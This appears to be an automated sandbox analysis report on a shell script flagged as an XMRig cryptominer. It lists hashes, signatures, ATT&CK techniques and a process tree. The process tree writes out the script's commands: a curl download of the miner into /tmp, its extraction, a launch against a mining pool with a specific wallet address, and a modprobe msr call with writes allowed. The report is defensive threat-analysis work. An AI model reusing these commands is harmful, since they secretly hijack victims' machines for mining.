xmrig | 3a9ef4c00e2aa7392ee7694a97369c4704a2558c5e3f60d0d4c08d85edb40415

Analysis

max time kernel
1199s
max time network
1187s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240226-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240226-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
20-03-2024 21:37

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General

Target

start.sh
Size

587B
MD5

60908850cbaa3ea10f537854675c5017
SHA1

ff4713b46e81dbe16a83efd12b0c274ee8f84893
SHA256

3a9ef4c00e2aa7392ee7694a97369c4704a2558c5e3f60d0d4c08d85edb40415
SHA512

eec5e1b0c381b01b1866925dd5f593ed658215ca88cf9d3eee711e96d6617434896cf12b297e81fbc2e42eb01a474ff92473ac43ad639f23a515a5958084c407

Score

10^/10

xmrig antivm miner rootkit

Malware Config

Signatures

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral6/files/fstream-3.dat	family_xmrig
behavioral6/files/fstream-3.dat	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/xmrig-6.21.1/xmrig	1554	xmrig

Loads a kernel module 1 IoCs

Loads a Linux kernel module, potentially to achieve persistence

rootkit

ioc	pid	Process
/lib/modules/4.15.0-213-generic/kernel/arch/x86/kernel/msr.ko	1561	modprobe

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
File opened for reading	/proc/cpuinfo	xmrig

Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

Checks DMI information which indicate if the system is a virtual machine.

antivm

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
File opened for reading	/sys/devices/virtual/dmi/id/product_name	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/board_vendor	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/bios_vendor	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/sys_vendor	xmrig

Reads CPU attributes 1 TTPs 45 IoCs

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index1/id	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index2/size	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index4/shared_cpu_map	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/topology/thread_siblings	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index1/level	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index0/coherency_line_size	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index2/level	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index7/shared_cpu_map	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cpu_capacity	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index0/level	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index2/shared_cpu_map	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index2/id	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index2/number_of_sets	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index3/level	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index3/type	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index3/size	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/topology/core_siblings	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index1/type	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index0/size	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index3/shared_cpu_map	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index5/shared_cpu_map	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cpufreq/base_frequency	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/topology/cluster_cpus	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index0/type	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/topology/physical_package_id	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index0/number_of_sets	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index2/coherency_line_size	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index2/physical_line_partition	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index3/id	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index3/number_of_sets	xmrig
File opened for reading	/sys/devices/system/cpu/online	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/topology/die_cpus	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index8/shared_cpu_map	xmrig
File opened for reading	/sys/devices/system/cpu/possible	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index0/id	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index0/physical_line_partition	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index1/shared_cpu_map	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index2/type	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index3/physical_line_partition	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cpufreq/cpuinfo_max_freq	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/topology/core_id	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index0/shared_cpu_map	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index9/shared_cpu_map	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index3/coherency_line_size	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index6/shared_cpu_map	xmrig

Reads hardware information 1 TTPs 14 IoCs

Accesses system info like serial numbers, manufacturer names etc.

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/virtual/dmi/id/board_name	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/chassis_type	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/bios_date	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/product_version	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/board_serial	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/chassis_serial	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/chassis_vendor	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/bios_version	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/product_serial	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/product_uuid	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/board_version	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/board_asset_tag	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/chassis_version	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/chassis_asset_tag	xmrig

Enumerates kernel/hardware configuration 1 TTPs 24 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu	xmrig
File opened for reading	/sys/devices/system/node/node0/cpumap	xmrig
File opened for reading	/sys/devices/system/node/node0/meminfo	xmrig
File opened for reading	/sys/firmware/dmi/tables/smbios_entry_point	xmrig
File opened for reading	/sys/devices/system/node/node0/access0/initiators/write_bandwidth	xmrig
File opened for reading	/sys/devices/system/node/node0/access0/initiators/write_latency	xmrig
File opened for reading	/sys/module/msr/initstate	modprobe
File opened for reading	/sys/fs/cgroup/unified/cgroup.controllers	xmrig
File opened for reading	/sys/fs/cgroup/cpuset/cpuset.cpus	xmrig
File opened for reading	/sys/devices/system/node/node0/hugepages/hugepages-2048kB/nr_hugepages	xmrig
File opened for reading	/sys/bus/dax/devices	xmrig
File opened for reading	/sys/devices/system/node/node0/access0/initiators/read_bandwidth	xmrig
File opened for reading	/sys/devices/system/node/node0/hugepages/hugepages-2048kB/nr_hugepages	Process not Found
File opened for reading	/sys/firmware/dmi/tables/DMI	xmrig
File opened for reading	/sys/devices/system/node/node0/hugepages/hugepages-2048kB/free_hugepages	Process not Found
File opened for reading	/sys/devices/system/node/online	xmrig
File opened for reading	/sys/devices/system/node/node0/hugepages	xmrig
File opened for reading	/sys/devices/system/node/node0/access1/initiators	xmrig
File opened for reading	/sys/devices/system/node/node0/access0/initiators	xmrig
File opened for reading	/sys/devices/system/node/node0/access0/initiators/read_latency	xmrig
File opened for reading	/sys/fs/cgroup/cpuset/cpuset.mems	xmrig
File opened for reading	/sys/kernel/mm/hugepages	xmrig
File opened for reading	/sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages	xmrig
File opened for reading	/sys/devices/virtual/dmi/id	xmrig

Reads runtime system information 8 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/filesystems	tar
File opened for reading	/proc/mounts	xmrig
File opened for reading	/proc/self/cpuset	xmrig
File opened for reading	/proc/meminfo	xmrig
File opened for reading	/proc/driver/nvidia/gpus	xmrig
File opened for reading	/proc/sys/vm/nr_hugepages	xmrig
File opened for reading	/proc/cmdline	modprobe
File opened for reading	/proc/meminfo	Process not Found

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/xmrig-6.21.1-linux-static-x64.tar.gz	curl
File opened for modification	/tmp/xmrig-6.21.1/config.json	tar
File opened for modification	/tmp/xmrig-6.21.1/xmrig	tar

/tmp/start.sh
/tmp/start.sh
1⤵
PID:1524
- /usr/bin/curl
  curl -L https://github.com/xmrig/xmrig/releases/download/v6.21.1/xmrig-6.21.1-linux-static-x64.tar.gz -o xmrig-6.21.1-linux-static-x64.tar.gz
  2⤵
  - Writes file to tmp directory
  PID:1525
- /bin/tar
  tar -xvf xmrig-6.21.1-linux-static-x64.tar.gz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1552
- - /usr/local/sbin/gzip
    gzip -d
    3⤵
    PID:1553
- - /usr/local/bin/gzip
    gzip -d
    3⤵
    PID:1553
- - /usr/sbin/gzip
    gzip -d
    3⤵
    PID:1553
- - /usr/bin/gzip
    gzip -d
    3⤵
    PID:1553
- - /sbin/gzip
    gzip -d
    3⤵
    PID:1553
- - /bin/gzip
    gzip -d
    3⤵
    PID:1553
- /tmp/xmrig-6.21.1/xmrig
  ./xmrig --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
  2⤵
  - Executes dropped EXE
  - Checks CPU configuration
  - Checks hardware identifiers (DMI)
  - Reads CPU attributes
  - Reads hardware information
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:1554
- - /bin/sh
    sh -c "/sbin/modprobe msr allow_writes=on > /dev/null 2>&1"
    3⤵
    PID:1560
  - - /sbin/modprobe
      /sbin/modprobe msr "allow_writes=on"
      4⤵
      Loads a kernel module
      Enumerates kernel/hardware configuration
      Reads runtime system information
      PID:1561

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/xmrig-6.21.1-linux-static-x64.tar.gz

Filesize
428KB

MD5
4bf88e8825c213bbb110eb7c0998ac74

SHA1
ea7fe37fd0220a6d76af02dcd89a1518f36e4fe2

SHA256
51c77ec62479572a2b0a1281041d670efab5724d9da9a2b4efc208d53592e812

SHA512
b430a829fb0c3603e9382a545c27b5572255d765afdbc70b64b8c265ad7c37d757d3d91c8f49c62b1e4a356b2ff4f60620ec8da9874cff1808b7b1ac56991673

Download Submit
/tmp/xmrig-6.21.1/config.json

Filesize
2KB

MD5
66f38c96a4901e7b345787c447842b3e

SHA1
2aa9b4d1bd2edd5d81bd9725e9318edaee67531f

SHA256
2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec

SHA512
71757fad29d6d2a257362ed28cde9f249cc8a14e646dee666c9029ea97c72de689cdf8ed5cf0365195a6a6831fe77d82efe5e2fa555c6cc5078f1f29ae8dd68f

Download Submit
/tmp/xmrig-6.21.1/xmrig

Filesize
6.7MB

MD5
4fd67caecc4d6f2cf4ffd78bcb41a473

SHA1
7a2994cb9787f2c3a4492eb1c1ab60cf1974acfe

SHA256
1edfdcd2b39f4755b3afa989e0127672bdd095afdff695c42088daa9c871877b

SHA512
7c4433114dcd1c9de897861695aa8dccd5ffc9c16741878db62a2d8782875a4de95ab9b5624ca0ffd5e48d3bf114c6bad9d30b21a249f03ae22a4c3f278687c6

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads